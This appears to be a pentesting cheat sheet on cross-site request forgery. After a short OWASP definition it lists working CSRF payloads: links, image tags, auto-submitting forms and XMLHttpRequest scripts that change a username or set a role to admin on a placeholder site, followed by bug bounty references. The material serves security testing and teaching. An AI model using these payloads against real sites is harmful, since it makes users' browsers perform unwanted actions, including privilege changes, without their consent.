Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Summary

• Methodology
• Payloads

Methodology

Payloads

When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.

HTML GET – Requiring User Interaction for Proof-of-Concept

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET (No User Interaction)

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST – Requiring User Interaction for Proof-of-Concept

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

HTML POST (AutoSubmit – No User Interaction)

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>

JSON GET – Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST – Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

JSON POST – Complex Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

References

• Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016
• Cross-Site Request Forgery (CSRF) - OWASP
• Messenger.com CSRF that show you the steps when you check for CSRF by Jack Whitton
• Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) by Florian Courtial
• Hacking PayPal Accounts with one click (Patched) by Yasser Ali
• Add tweet to collection CSRF by vijay kumar
• Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun by phwd
• How i Hacked your Beats account ? Apple Bug Bounty by @aaditya_purani
• FORM POST JSON: JSON CSRF on POST Heartbeats API by Dr.Jones
• Hacking Facebook accounts using CSRF in Oculus-Facebook integration
• Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019